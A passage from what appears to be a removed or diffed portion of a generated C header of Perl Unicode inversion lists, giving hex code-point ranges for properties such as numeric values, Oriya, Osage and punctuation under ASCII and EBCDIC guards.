0x16B5A, - 0x16B5B, - 0x16B62, - 0x1D360, - 0x1D372, - 0x1D7CE, - 0x1D800, - 0x1E8C7, - 0x1E8D0, - 0x1E950, - 0x1E95A, - 0x1F100, - 0x1F10D, - 0x20001, - 0x20002, - 0x20064, - 0x20065, - 0x200E2, - 0x200E3, - 0x20121, - 0x20122, - 0x2092A, - 0x2092B, - 0x20983, - 0x20984, - 0x2098C, - 0x2098D, - 0x2099C, - 0x2099D, - 0x20AEA, - 0x20AEB, - 0x20AFD, - 0x20AFE, - 0x20B19, - 0x20B1A, - 0x22390, - 0x22391, - 0x22998, - 0x22999, - 0x23B1B, - 0x23B1C, - 0x2626D, - 0x2626E, - 0x2F890, - 0x2F891 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__NAN_invlist[] = { /* for EBCDIC 1047 */ - 377, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB7, - 0xBA, - 0xDA, - 0xDB, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0x660, - 0x66A, - 0x6F0, - 0x6FA, - 0x7C0, - 0x7CA, - 0x966, - 0x970, - 0x9E6, - 0x9F0, - 0x9F4, - 0x9FA, - 0xA66, - 0xA70, - 0xAE6, - 0xAF0, - 0xB66, - 0xB70, - 0xB72, - 0xB78, - 0xBE6, - 0xBF3, - 0xC66, - 0xC70, - 0xC78, - 0xC7F, - 0xCE6, - 0xCF0, - 0xD58, - 0xD5F, - 0xD66, - 0xD79, - 0xDE6, - 0xDF0, - 0xE50, - 0xE5A, - 0xED0, - 0xEDA, - 0xF20, - 0xF34, - 0x1040, - 0x104A, - 0x1090, - 0x109A, - 0x1369, - 0x137D, - 0x16EE, - 0x16F1, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1810, - 0x181A, - 0x1946, - 0x1950, - 0x19D0, - 0x19DB, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1B50, - 0x1B5A, - 0x1BB0, - 0x1BBA, - 0x1C40, - 0x1C4A, - 0x1C50, - 0x1C5A, - 0x2070, - 0x2071, - 0x2074, - 0x207A, - 0x2080, - 0x208A, - 0x2150, - 0x2183, - 0x2185, - 0x218A, - 0x2460, - 0x249C, - 0x24EA, - 0x2500, - 0x2776, - 0x2794, - 0x2CFD, - 0x2CFE, - 0x3007, - 0x3008, - 0x3021, - 0x302A, - 0x3038, - 0x303B, - 0x3192, - 0x3196, - 0x3220, - 0x322A, - 0x3248, - 0x3250, - 0x3251, - 0x3260, - 0x3280, - 0x328A, - 0x32B1, - 0x32C0, - 0x3405, - 0x3406, - 0x3483, - 0x3484, - 0x382A, - 0x382B, - 0x3B4D, - 0x3B4E, - 0x4E00, - 0x4E01, - 0x4E03, - 0x4E04, - 0x4E07, - 0x4E08, - 0x4E09, - 0x4E0A, - 0x4E5D, - 0x4E5E, - 0x4E8C, - 0x4E8D, - 0x4E94, - 0x4E95, - 0x4E96, - 0x4E97, - 0x4EBF, - 0x4EC1, - 0x4EDF, - 0x4EE0, - 0x4EE8, - 0x4EE9, - 0x4F0D, - 0x4F0E, - 0x4F70, - 0x4F71, - 0x5104, - 0x5105, - 0x5146, - 0x5147, - 0x5169, - 0x516A, - 0x516B, - 0x516C, - 0x516D, - 0x516E, - 0x5341, - 0x5342, - 0x5343, - 0x5346, - 0x534C, - 0x534D, - 0x53C1, - 0x53C5, - 0x56DB, - 0x56DC, - 0x58F1, - 0x58F2, - 0x58F9, - 0x58FA, - 0x5E7A, - 0x5E7B, - 0x5EFE, - 0x5F00, - 0x5F0C, - 0x5F0F, - 0x5F10, - 0x5F11, - 0x62FE, - 0x62FF, - 0x634C, - 0x634D, - 0x67D2, - 0x67D3, - 0x6F06, - 0x6F07, - 0x7396, - 0x7397, - 0x767E, - 0x767F, - 0x8086, - 0x8087, - 0x842C, - 0x842D, - 0x8CAE, - 0x8CAF, - 0x8CB3, - 0x8CB4, - 0x8D30, - 0x8D31, - 0x9621, - 0x9622, - 0x9646, - 0x9647, - 0x964C, - 0x964D, - 0x9678, - 0x9679, - 0x96F6, - 0x96F7, - 0xA620, - 0xA62A, - 0xA6E6, - 0xA6F0, - 0xA830, - 0xA836, - 0xA8D0, - 0xA8DA, - 0xA900, - 0xA90A, - 0xA9D0, - 0xA9DA, - 0xA9F0, - 0xA9FA, - 0xAA50, - 0xAA5A, - 0xABF0, - 0xABFA, - 0xF96B, - 0xF96C, - 0xF973, - 0xF974, - 0xF978, - 0xF979, - 0xF9B2, - 0xF9B3, - 0xF9D1, - 0xF9D2, - 0xF9D3, - 0xF9D4, - 0xF9FD, - 0xF9FE, - 0xFF10, - 0xFF1A, - 0x10107, - 0x10134, - 0x10140, - 0x10179, - 0x1018A, - 0x1018C, - 0x102E1, - 0x102FC, - 0x10320, - 0x10324, - 0x10341, - 0x10342, - 0x1034A, - 0x1034B, - 0x103D1, - 0x103D6, - 0x104A0, - 0x104AA, - 0x10858, - 0x10860, - 0x10879, - 0x10880, - 0x108A7, - 0x108B0, - 0x108FB, - 0x10900, - 0x10916, - 0x1091C, - 0x109BC, - 0x109BE, - 0x109C0, - 0x109D0, - 0x109D2, - 0x10A00, - 0x10A40, - 0x10A48, - 0x10A7D, - 0x10A7F, - 0x10A9D, - 0x10AA0, - 0x10AEB, - 0x10AF0, - 0x10B58, - 0x10B60, - 0x10B78, - 0x10B80, - 0x10BA9, - 0x10BB0, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11052, - 0x11070, - 0x110F0, - 0x110FA, - 0x11136, - 0x11140, - 0x111D0, - 0x111DA, - 0x111E1, - 0x111F5, - 0x112F0, - 0x112FA, - 0x11450, - 0x1145A, - 0x114D0, - 0x114DA, - 0x11650, - 0x1165A, - 0x116C0, - 0x116CA, - 0x11730, - 0x1173C, - 0x118E0, - 0x118F3, - 0x11C50, - 0x11C6D, - 0x11D50, - 0x11D5A, - 0x12400, - 0x1246F, - 0x16A60, - 0x16A6A, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x1D360, - 0x1D372, - 0x1D7CE, - 0x1D800, - 0x1E8C7, - 0x1E8D0, - 0x1E950, - 0x1E95A, - 0x1F100, - 0x1F10D, - 0x20001, - 0x20002, - 0x20064, - 0x20065, - 0x200E2, - 0x200E3, - 0x20121, - 0x20122, - 0x2092A, - 0x2092B, - 0x20983, - 0x20984, - 0x2098C, - 0x2098D, - 0x2099C, - 0x2099D, - 0x20AEA, - 0x20AEB, - 0x20AFD, - 0x20AFE, - 0x20B19, - 0x20B1A, - 0x22390, - 0x22391, - 0x22998, - 0x22999, - 0x23B1B, - 0x23B1C, - 0x2626D, - 0x2626E, - 0x2F890, - 0x2F891 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__NAN_invlist[] = { /* for EBCDIC 037 */ - 377, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB7, - 0xBA, - 0xDA, - 0xDB, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0x660, - 0x66A, - 0x6F0, - 0x6FA, - 0x7C0, - 0x7CA, - 0x966, - 0x970, - 0x9E6, - 0x9F0, - 0x9F4, - 0x9FA, - 0xA66, - 0xA70, - 0xAE6, - 0xAF0, - 0xB66, - 0xB70, - 0xB72, - 0xB78, - 0xBE6, - 0xBF3, - 0xC66, - 0xC70, - 0xC78, - 0xC7F, - 0xCE6, - 0xCF0, - 0xD58, - 0xD5F, - 0xD66, - 0xD79, - 0xDE6, - 0xDF0, - 0xE50, - 0xE5A, - 0xED0, - 0xEDA, - 0xF20, - 0xF34, - 0x1040, - 0x104A, - 0x1090, - 0x109A, - 0x1369, - 0x137D, - 0x16EE, - 0x16F1, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1810, - 0x181A, - 0x1946, - 0x1950, - 0x19D0, - 0x19DB, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1B50, - 0x1B5A, - 0x1BB0, - 0x1BBA, - 0x1C40, - 0x1C4A, - 0x1C50, - 0x1C5A, - 0x2070, - 0x2071, - 0x2074, - 0x207A, - 0x2080, - 0x208A, - 0x2150, - 0x2183, - 0x2185, - 0x218A, - 0x2460, - 0x249C, - 0x24EA, - 0x2500, - 0x2776, - 0x2794, - 0x2CFD, - 0x2CFE, - 0x3007, - 0x3008, - 0x3021, - 0x302A, - 0x3038, - 0x303B, - 0x3192, - 0x3196, - 0x3220, - 0x322A, - 0x3248, - 0x3250, - 0x3251, - 0x3260, - 0x3280, - 0x328A, - 0x32B1, - 0x32C0, - 0x3405, - 0x3406, - 0x3483, - 0x3484, - 0x382A, - 0x382B, - 0x3B4D, - 0x3B4E, - 0x4E00, - 0x4E01, - 0x4E03, - 0x4E04, - 0x4E07, - 0x4E08, - 0x4E09, - 0x4E0A, - 0x4E5D, - 0x4E5E, - 0x4E8C, - 0x4E8D, - 0x4E94, - 0x4E95, - 0x4E96, - 0x4E97, - 0x4EBF, - 0x4EC1, - 0x4EDF, - 0x4EE0, - 0x4EE8, - 0x4EE9, - 0x4F0D, - 0x4F0E, - 0x4F70, - 0x4F71, - 0x5104, - 0x5105, - 0x5146, - 0x5147, - 0x5169, - 0x516A, - 0x516B, - 0x516C, - 0x516D, - 0x516E, - 0x5341, - 0x5342, - 0x5343, - 0x5346, - 0x534C, - 0x534D, - 0x53C1, - 0x53C5, - 0x56DB, - 0x56DC, - 0x58F1, - 0x58F2, - 0x58F9, - 0x58FA, - 0x5E7A, - 0x5E7B, - 0x5EFE, - 0x5F00, - 0x5F0C, - 0x5F0F, - 0x5F10, - 0x5F11, - 0x62FE, - 0x62FF, - 0x634C, - 0x634D, - 0x67D2, - 0x67D3, - 0x6F06, - 0x6F07, - 0x7396, - 0x7397, - 0x767E, - 0x767F, - 0x8086, - 0x8087, - 0x842C, - 0x842D, - 0x8CAE, - 0x8CAF, - 0x8CB3, - 0x8CB4, - 0x8D30, - 0x8D31, - 0x9621, - 0x9622, - 0x9646, - 0x9647, - 0x964C, - 0x964D, - 0x9678, - 0x9679, - 0x96F6, - 0x96F7, - 0xA620, - 0xA62A, - 0xA6E6, - 0xA6F0, - 0xA830, - 0xA836, - 0xA8D0, - 0xA8DA, - 0xA900, - 0xA90A, - 0xA9D0, - 0xA9DA, - 0xA9F0, - 0xA9FA, - 0xAA50, - 0xAA5A, - 0xABF0, - 0xABFA, - 0xF96B, - 0xF96C, - 0xF973, - 0xF974, - 0xF978, - 0xF979, - 0xF9B2, - 0xF9B3, - 0xF9D1, - 0xF9D2, - 0xF9D3, - 0xF9D4, - 0xF9FD, - 0xF9FE, - 0xFF10, - 0xFF1A, - 0x10107, - 0x10134, - 0x10140, - 0x10179, - 0x1018A, - 0x1018C, - 0x102E1, - 0x102FC, - 0x10320, - 0x10324, - 0x10341, - 0x10342, - 0x1034A, - 0x1034B, - 0x103D1, - 0x103D6, - 0x104A0, - 0x104AA, - 0x10858, - 0x10860, - 0x10879, - 0x10880, - 0x108A7, - 0x108B0, - 0x108FB, - 0x10900, - 0x10916, - 0x1091C, - 0x109BC, - 0x109BE, - 0x109C0, - 0x109D0, - 0x109D2, - 0x10A00, - 0x10A40, - 0x10A48, - 0x10A7D, - 0x10A7F, - 0x10A9D, - 0x10AA0, - 0x10AEB, - 0x10AF0, - 0x10B58, - 0x10B60, - 0x10B78, - 0x10B80, - 0x10BA9, - 0x10BB0, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11052, - 0x11070, - 0x110F0, - 0x110FA, - 0x11136, - 0x11140, - 0x111D0, - 0x111DA, - 0x111E1, - 0x111F5, - 0x112F0, - 0x112FA, - 0x11450, - 0x1145A, - 0x114D0, - 0x114DA, - 0x11650, - 0x1165A, - 0x116C0, - 0x116CA, - 0x11730, - 0x1173C, - 0x118E0, - 0x118F3, - 0x11C50, - 0x11C6D, - 0x11D50, - 0x11D5A, - 0x12400, - 0x1246F, - 0x16A60, - 0x16A6A, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x1D360, - 0x1D372, - 0x1D7CE, - 0x1D800, - 0x1E8C7, - 0x1E8D0, - 0x1E950, - 0x1E95A, - 0x1F100, - 0x1F10D, - 0x20001, - 0x20002, - 0x20064, - 0x20065, - 0x200E2, - 0x200E3, - 0x20121, - 0x20122, - 0x2092A, - 0x2092B, - 0x20983, - 0x20984, - 0x2098C, - 0x2098D, - 0x2099C, - 0x2099D, - 0x20AEA, - 0x20AEB, - 0x20AFD, - 0x20AFE, - 0x20B19, - 0x20B1A, - 0x22390, - 0x22391, - 0x22998, - 0x22999, - 0x23B1B, - 0x23B1C, - 0x2626D, - 0x2626E, - 0x2F890, - 0x2F891 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_OCR_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2440, - 0x2460 -}; - -static const UV PL_OGAM_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1680, - 0x169D -}; - -static const UV PL_OLCK_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1C50, - 0x1C80 -}; - -static const UV PL_ORKH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10C00, - 0x10C49 -}; - -static const UV PL_ORNAMENTALDINGBATS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1F650, - 0x1F680 -}; - -static const UV PL_ORYA_invlist[] = { /* for all charsets */ - 33, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x951, - 0x953, - 0x964, - 0x966, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78 -}; - -static const UV PL_OSGE_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC -}; - -static const UV PL_OSMA_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10480, - 0x1049E, - 0x104A0, - 0x104AA -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_P_invlist[] = { /* for ASCII/Latin1 */ - 345, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x21, - 0x24, - 0x25, - 0x2B, - 0x2C, - 0x30, - 0x3A, - 0x3C, - 0x3F, - 0x41, - 0x5B, - 0x5E, - 0x5F, - 0x60, - 0x7B, - 0x7C, - 0x7D, - 0x7E, - 0xA1, - 0xA2, - 0xA7, - 0xA8, - 0xAB, - 0xAC, - 0xB6, - 0xB8, - 0xBB, - 0xBC, - 0xBF, - 0xC0, - 0x37E, - 0x37F, - 0x387, - 0x388, - 0x55A, - 0x560, - 0x589, - 0x58B, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5F3, - 0x5F5, - 0x609, - 0x60B, - 0x60C, - 0x60E, - 0x61B, - 0x61C, - 0x61E, - 0x620, - 0x66A, - 0x66E, - 0x6D4, - 0x6D5, - 0x700, - 0x70E, - 0x7F7, - 0x7FA, - 0x830, - 0x83F, - 0x85E, - 0x85F, - 0x964, - 0x966, - 0x970, - 0x971, - 0x9FD, - 0x9FE, - 0xAF0, - 0xAF1, - 0xDF4, - 0xDF5, - 0xE4F, - 0xE50, - 0xE5A, - 0xE5C, - 0xF04, - 0xF13, - 0xF14, - 0xF15, - 0xF3A, - 0xF3E, - 0xF85, - 0xF86, - 0xFD0, - 0xFD5, - 0xFD9, - 0xFDB, - 0x104A, - 0x1050, - 0x10FB, - 0x10FC, - 0x1360, - 0x1369, - 0x1400, - 0x1401, - 0x166D, - 0x166F, - 0x169B, - 0x169D, - 0x16EB, - 0x16EE, - 0x1735, - 0x1737, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DB, - 0x1800, - 0x180B, - 0x1944, - 0x1946, - 0x1A1E, - 0x1A20, - 0x1AA0, - 0x1AA7, - 0x1AA8, - 0x1AAE, - 0x1B5A, - 0x1B61, - 0x1BFC, - 0x1C00, - 0x1C3B, - 0x1C40, - 0x1C7E, - 0x1C80, - 0x1CC0, - 0x1CC8, - 0x1CD3, - 0x1CD4, - 0x2010, - 0x2028, - 0x2030, - 0x2044, - 0x2045, - 0x2052, - 0x2053, - 0x205F, - 0x207D, - 0x207F, - 0x208D, - 0x208F, - 0x2308, - 0x230C, - 0x2329, - 0x232B, - 0x2768, - 0x2776, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, - 0x2CF9, - 0x2CFD, - 0x2CFE, - 0x2D00, - 0x2D70, - 0x2D71, - 0x2E00, - 0x2E2F, - 0x2E30, - 0x2E4A, - 0x3001, - 0x3004, - 0x3008, - 0x3012, - 0x3014, - 0x3020, - 0x3030, - 0x3031, - 0x303D, - 0x303E, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA673, - 0xA674, - 0xA67E, - 0xA67F, - 0xA6F2, - 0xA6F8, - 0xA874, - 0xA878, - 0xA8CE, - 0xA8D0, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA92E, - 0xA930, - 0xA95F, - 0xA960, - 0xA9C1, - 0xA9CE, - 0xA9DE, - 0xA9E0, - 0xAA5C, - 0xAA60, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xABEB, - 0xABEC, - 0xFD3E, - 0xFD40, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE62, - 0xFE63, - 0xFE64, - 0xFE68, - 0xFE69, - 0xFE6A, - 0xFE6C, - 0xFF01, - 0xFF04, - 0xFF05, - 0xFF0B, - 0xFF0C, - 0xFF10, - 0xFF1A, - 0xFF1C, - 0xFF1F, - 0xFF21, - 0xFF3B, - 0xFF3E, - 0xFF3F, - 0xFF40, - 0xFF5B, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF66, - 0x10100, - 0x10103, - 0x1039F, - 0x103A0, - 0x103D0, - 0x103D1, - 0x1056F, - 0x10570, - 0x10857, - 0x10858, - 0x1091F, - 0x10920, - 0x1093F, - 0x10940, - 0x10A50, - 0x10A59, - 0x10A7F, - 0x10A80, - 0x10AF0, - 0x10AF7, - 0x10B39, - 0x10B40, - 0x10B99, - 0x10B9D, - 0x11047, - 0x1104E, - 0x110BB, - 0x110BD, - 0x110BE, - 0x110C2, - 0x11140, - 0x11144, - 0x11174, - 0x11176, - 0x111C5, - 0x111CA, - 0x111CD, - 0x111CE, - 0x111DB, - 0x111DC, - 0x111DD, - 0x111E0, - 0x11238, - 0x1123E, - 0x112A9, - 0x112AA, - 0x1144B, - 0x11450, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x114C6, - 0x114C7, - 0x115C1, - 0x115D8, - 0x11641, - 0x11644, - 0x11660, - 0x1166D, - 0x1173C, - 0x1173F, - 0x11A3F, - 0x11A47, - 0x11A9A, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11C41, - 0x11C46, - 0x11C70, - 0x11C72, - 0x12470, - 0x12475, - 0x16A6E, - 0x16A70, - 0x16AF5, - 0x16AF6, - 0x16B37, - 0x16B3C, - 0x16B44, - 0x16B45, - 0x1BC9F, - 0x1BCA0, - 0x1DA87, - 0x1DA8C, - 0x1E95E, - 0x1E960 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_P_invlist[] = { /* for EBCDIC 1047 */ - 353, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4B, - 0x4C, - 0x4D, - 0x4E, - 0x50, - 0x51, - 0x5A, - 0x5B, - 0x5C, - 0x5F, - 0x60, - 0x62, - 0x6B, - 0x6E, - 0x6F, - 0x70, - 0x7A, - 0x7E, - 0x7F, - 0x80, - 0x8A, - 0x8C, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xB3, - 0xB4, - 0xB5, - 0xB7, - 0xBD, - 0xBE, - 0xC0, - 0xC1, - 0xD0, - 0xD1, - 0xE0, - 0xE1, - 0x37E, - 0x37F, - 0x387, - 0x388, - 0x55A, - 0x560, - 0x589, - 0x58B, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5F3, - 0x5F5, - 0x609, - 0x60B, - 0x60C, - 0x60E, - 0x61B, - 0x61C, - 0x61E, - 0x620, - 0x66A, - 0x66E, - 0x6D4, - 0x6D5, - 0x700, - 0x70E, - 0x7F7, - 0x7FA, - 0x830, - 0x83F, - 0x85E, - 0x85F, - 0x964, - 0x966, - 0x970, - 0x971, - 0x9FD, - 0x9FE, - 0xAF0, - 0xAF1, - 0xDF4, - 0xDF5, - 0xE4F, - 0xE50, - 0xE5A, - 0xE5C, - 0xF04, - 0xF13, - 0xF14, - 0xF15, - 0xF3A, - 0xF3E, - 0xF85, - 0xF86, - 0xFD0, - 0xFD5, - 0xFD9, - 0xFDB, - 0x104A, - 0x1050, - 0x10FB, - 0x10FC, - 0x1360, - 0x1369, - 0x1400, - 0x1401, - 0x166D, - 0x166F, - 0x169B, - 0x169D, - 0x16EB, - 0x16EE, - 0x1735, - 0x1737, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DB, - 0x1800, - 0x180B, - 0x1944, - 0x1946, - 0x1A1E, - 0x1A20, - 0x1AA0, - 0x1AA7, - 0x1AA8, - 0x1AAE, - 0x1B5A, - 0x1B61, - 0x1BFC, - 0x1C00, - 0x1C3B, - 0x1C40, - 0x1C7E, - 0x1C80, - 0x1CC0, - 0x1CC8, - 0x1CD3, - 0x1CD4, - 0x2010, - 0x2028, - 0x2030, - 0x2044, - 0x2045, - 0x2052, - 0x2053, - 0x205F, - 0x207D, - 0x207F, - 0x208D, - 0x208F, - 0x2308, - 0x230C, - 0x2329, - 0x232B, - 0x2768, - 0x2776, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, - 0x2CF9, - 0x2CFD, - 0x2CFE, - 0x2D00, - 0x2D70, - 0x2D71, - 0x2E00, - 0x2E2F, - 0x2E30, - 0x2E4A, - 0x3001, - 0x3004, - 0x3008, - 0x3012, - 0x3014, - 0x3020, - 0x3030, - 0x3031, - 0x303D, - 0x303E, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA673, - 0xA674, - 0xA67E, - 0xA67F, - 0xA6F2, - 0xA6F8, - 0xA874, - 0xA878, - 0xA8CE, - 0xA8D0, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA92E, - 0xA930, - 0xA95F, - 0xA960, - 0xA9C1, - 0xA9CE, - 0xA9DE, - 0xA9E0, - 0xAA5C, - 0xAA60, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xABEB, - 0xABEC, - 0xFD3E, - 0xFD40, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE62, - 0xFE63, - 0xFE64, - 0xFE68, - 0xFE69, - 0xFE6A, - 0xFE6C, - 0xFF01, - 0xFF04, - 0xFF05, - 0xFF0B, - 0xFF0C, - 0xFF10, - 0xFF1A, - 0xFF1C, - 0xFF1F, - 0xFF21, - 0xFF3B, - 0xFF3E, - 0xFF3F, - 0xFF40, - 0xFF5B, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF66, - 0x10100, - 0x10103, - 0x1039F, - 0x103A0, - 0x103D0, - 0x103D1, - 0x1056F, - 0x10570, - 0x10857, - 0x10858, - 0x1091F, - 0x10920, - 0x1093F, - 0x10940, - 0x10A50, - 0x10A59, - 0x10A7F, - 0x10A80, - 0x10AF0, - 0x10AF7, - 0x10B39, - 0x10B40, - 0x10B99, - 0x10B9D, - 0x11047, - 0x1104E, - 0x110BB, - 0x110BD, - 0x110BE, - 0x110C2, - 0x11140, - 0x11144, - 0x11174, - 0x11176, - 0x111C5, - 0x111CA, - 0x111CD, - 0x111CE, - 0x111DB, - 0x111DC, - 0x111DD, - 0x111E0, - 0x11238, - 0x1123E, - 0x112A9, - 0x112AA, - 0x1144B, - 0x11450, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x114C6, - 0x114C7, - 0x115C1, - 0x115D8, - 0x11641, - 0x11644, - 0x11660, - 0x1166D, - 0x1173C, - 0x1173F, - 0x11A3F, - 0x11A47, - 0x11A9A, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11C41, - 0x11C46, - 0x11C70, - 0x11C72, - 0x12470, - 0x12475, - 0x16A6E, - 0x16A70, - 0x16AF5, - 0x16AF6, - 0x16B37, - 0x16B3C, - 0x16B44, - 0x16B45, - 0x1BC9F, - 0x1BCA0, - 0x1DA87, - 0x1DA8C, - 0x1E95E, - 0x1E960 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_P_invlist[] = { /* for EBCDIC 037 */ - 351, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4B, - 0x4C, - 0x4D, - 0x4E, - 0x50, - 0x51, - 0x5A, - 0x5B, - 0x5C, - 0x5F, - 0x60, - 0x62, - 0x6B, - 0x6E, - 0x6F, - 0x70, - 0x7A, - 0x7E, - 0x7F, - 0x80, - 0x8A, - 0x8C, - 0xAA, - 0xAC, - 0xB3, - 0xB4, - 0xB5, - 0xB7, - 0xBA, - 0xBC, - 0xC0, - 0xC1, - 0xD0, - 0xD1, - 0xE0, - 0xE1, - 0x37E, - 0x37F, - 0x387, - 0x388, - 0x55A, - 0x560, - 0x589, - 0x58B, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5F3, - 0x5F5, - 0x609, - 0x60B, - 0x60C, - 0x60E, - 0x61B, - 0x61C, - 0x61E, - 0x620, - 0x66A, - 0x66E, - 0x6D4, - 0x6D5, - 0x700, - 0x70E, - 0x7F7, - 0x7FA, - 0x830, - 0x83F, - 0x85E, - 0x85F, - 0x964, - 0x966, - 0x970, - 0x971, - 0x9FD, - 0x9FE, - 0xAF0, - 0xAF1, - 0xDF4, - 0xDF5, - 0xE4F, - 0xE50, - 0xE5A, - 0xE5C, - 0xF04, - 0xF13, - 0xF14, - 0xF15, - 0xF3A, - 0xF3E, - 0xF85, - 0xF86, - 0xFD0, - 0xFD5, - 0xFD9, - 0xFDB, - 0x104A, - 0x1050, - 0x10FB, - 0x10FC, - 0x1360, - 0x1369, - 0x1400, - 0x1401, - 0x166D, - 0x166F, - 0x169B, - 0x169D, - 0x16EB, - 0x16EE, - 0x1735, - 0x1737, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DB, - 0x1800, - 0x180B, - 0x1944, - 0x1946, - 0x1A1E, - 0x1A20, - 0x1AA0, - 